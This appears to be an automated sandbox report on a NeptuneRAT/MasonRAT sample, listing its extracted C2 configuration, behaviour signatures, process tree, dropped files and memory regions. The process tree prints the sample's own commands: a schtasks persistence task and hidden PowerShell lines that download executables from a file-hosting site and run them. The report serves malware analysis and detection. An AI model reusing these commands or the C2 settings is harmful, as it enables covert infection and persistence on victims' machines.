Analysis

  • user interaction
    yes
  • max time kernel
    112s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 05:10

General

  • Target
    MasonClient.exe
  • Size 48KB
  • Sample261002-ft23aszyfx
  • SHA256 53e1937f4da91cba67cdd16397fe006e30847f82f444fca6a3aa745cd29c553e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • neptunerat

C2
  • 30.tcp.cpolar.top:14990

Attributes
  • filename

    USB.exe

  • group

    MasonGroup

  • key

    MY2pb6LoZ9nxMCo4

  • rat_name

    MasonRAT

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Detects NeptuneRAT stealer 2 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Drops desktop.ini file(s) 7 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4192
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/rwa682.rar' -OutFile $env:TEMP\Mason300401.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason300401.exe"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason808913.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason808913.exe"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/kg4lnc.rar' -OutFile $env:TEMP\Mason348031.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason348031.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason865526.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason865526.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5988
  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
    C:\Users\Admin\AppData\Roaming\MasonClient.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2608
  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
    "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1988
  • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5440
    • C:\Windows\SysWOW64\unregmp2.exe
      "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Windows\system32\unregmp2.exe
        "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:5884
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
    1⤵
    • Drops file in Windows directory
    PID:2400
  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
    "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2784
  • C:\Users\Admin\AppData\Roaming\MasonClient.exe
    "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
    1⤵
      PID:824
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x00000000000004F4 0x0000000000000500
      1⤵
        PID:592

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            CurrentDatabase_400.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
            • Size 576KB
            • SHA256 786ed0294425de7b37def5dc21381f19ef682431c65df2a9c7df95761e33a369
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CurrentDatabase_400.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
            • Size 1024KB
            • SHA256 354628a631a4118b2cd1822bcf2b30485e39e03658257c22c46228ede52a6755
            • MD5 SHA1 SHA512 SSDEEP TLSH

            LocalMLS_3.wmdb

            • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
            • Size 68KB
            • SHA256 163aa547b3dafa2da9153f4a87ebab098ed45d02b00b2f5f9ef7a427281601c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            WMSDKNS.XML.bak

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
            • Size 9KB
            • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_lktfgofb.gyf.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lktfgofb.gyf.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            tmpD45D.tmp.mov

            • Path C:\Users\Admin\AppData\Local\Temp\tmpD45D.tmp.mov
            • Size 1.2MB
            • SHA256 00472321413369b6ac3289e8f7983fb80d27a46530cec7cd14f3d95b5b1351d3
            • MD5 SHA1 SHA512 SSDEEP TLSH

            wmsetup.log

            • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
            • Size 1KB
            • SHA256 851a13fe13645fc6f358c810f5295df40a5f8841ad8b5805323ebcacd303bdf5
            • MD5 SHA1 SHA512 TLSH

            MasonClient.exe

            • Path C:\Users\Admin\AppData\Roaming\MasonClient.exe
            • Size 48KB
            • SHA256 53e1937f4da91cba67cdd16397fe006e30847f82f444fca6a3aa745cd29c553e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2608-7-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/2608-13-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/2608-8-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/2892-412-0x000001830BA50000-0x000001830BA72000-memory.dmp

            memory/4192-4-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-9-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-14-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-5-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-11-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-3-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-2-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-12-0x00007FFC37570000-0x00007FFC37F14000-memory.dmp

            memory/4192-1-0x0000000000690000-0x00000000006A2000-memory.dmp

            memory/4192-411-0x000000001B220000-0x000000001B22E000-memory.dmp

            memory/4192-0-0x00007FFC376FF000-0x00007FFC37700000-memory.dmp

            memory/4192-77-0x000000001B210000-0x000000001B21A000-memory.dmp

            memory/5440-86-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-100-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-68-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-69-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-70-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-72-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-73-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-74-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-75-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-76-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-62-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-79-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-80-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-81-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-82-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-83-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-84-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-85-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-61-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-88-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-87-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-90-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-89-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-91-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-93-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-94-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-96-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-95-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-97-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-98-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-99-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-63-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-101-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-102-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-104-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-103-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-107-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-106-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-105-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-109-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-110-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-112-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-111-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-113-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-115-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-114-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-117-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-118-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-116-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-120-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-119-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-122-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-121-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-123-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-126-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-125-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-128-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-127-0x0000000007410000-0x0000000007420000-memory.dmp

            memory/5440-129-0x0000000007250000-0x0000000007260000-memory.dmp

            memory/5440-60-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-55-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-57-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-58-0x0000000004E10000-0x0000000004E20000-memory.dmp

            memory/5440-56-0x0000000004E10000-0x0000000004E20000-memory.dmp